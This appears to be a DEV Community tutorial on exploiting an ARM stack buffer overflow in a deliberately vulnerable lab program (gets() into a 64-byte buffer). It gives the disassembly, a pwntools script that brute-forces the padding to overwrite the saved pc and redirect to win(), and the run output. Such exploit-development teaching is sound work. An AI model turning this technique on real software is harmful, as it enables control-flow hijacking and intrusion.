DEV Community

Cover image for ARM – rewrite PC
hextrace
hextrace

Posted on

ARM – rewrite PC

In this article, we'll rewrite the pc register to take control of the program flow. This can be done though the vulnerable gets function

The source:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
    puts("congrats!\n");
}

int main()
{
    char buffer[64];
    gets(buffer);
    puts("nope\n");
}
Enter fullscreen mode Exit fullscreen mode

The goal will be to call win by abusing gets.

The disassembly:

00010404 <win>:
   10404:       b580            push    {r7, lr}
   10406:       af00            add     r7, sp, #0
   10408:       4b03            ldr     r3, [pc, #12]   ; (10418 <win+0x14>)
   1040a:       447b            add     r3, pc
   1040c:       4618            mov     r0, r3
   1040e:       f7ff ef82       blx     10314 <puts@plt>        ; puts("congrats\n");
   10412:       bf00            nop
   10414:       bd80            pop     {r7, pc}
   10416:       bf00            nop
   10418:       00000086

0001041c <main>:
   1041c:       b580            push    {r7, lr}
   1041e:       b090            sub     sp, #64 ; 0x40
   10420:       af00            add     r7, sp, #0
   10422:       463b            mov     r3, r7
   10424:       4618            mov     r0, r3
   10426:       f7ff ef70       blx     10308 <gets@plt>       ; gets(buffer);
   1042a:       4b05            ldr     r3, [pc, #20]   ; (10440 <main+0x24>)
   1042c:       447b            add     r3, pc
   1042e:       4618            mov     r0, r3
   10430:       f7ff ef70       blx     10314 <puts@plt>
   10434:       2300            movs    r3, #0
   10436:       4618            mov     r0, r3
   10438:       3740            adds    r7, #64 ; 0x40
   1043a:       46bd            mov     sp, r7
   1043c:       bd80            pop     {r7, pc}               ; pc to be overwritten
   1043e:       bf00            nop
   10440:       00000070
Enter fullscreen mode Exit fullscreen mode

This is our exploit:

#!/usr/bin/env python3

import struct
from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')

i = 60
while True:
    i += 1
    print('test', i)
    payload = b'A' * i + struct.pack('<I', 0x00010404)
    process = socket.process('/root/protostarm/stack4/stack4')
    process.sendline(payload)
    res = ""
    while True:
        try:
            res += process.recv().decode()
        except:
            break

    print(res)
    if 'congrats' in res:
        break

    process.close()

socket.close()
Enter fullscreen mode Exit fullscreen mode
user@Azeria-Lab-VM:~/protoarm/stack4$ ./exploit.py
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Disabled
[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1185)
test 63
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1189

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1189)
test 64
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1193

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1193)
test 65
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1197

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1197)
test 66
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1201

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1201)
test 67
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1205

[*] Stopped remote process 'stack4' on 192.168.0.1 (pid 1205)
test 68
[+] Starting remote process '/root/protostarm/stack4/stack4' on 192.168.0.1: pid 1209
congrats!

[*] Stopped remote process 'stack1' on 192.168.0.1 (pid 1597)
[*] Closed connection to '192.168.0.1'
Enter fullscreen mode Exit fullscreen mode

Why 68? Well 64 for the buffer and 4 more for r7, the saved frame ptr.

Discussion (0)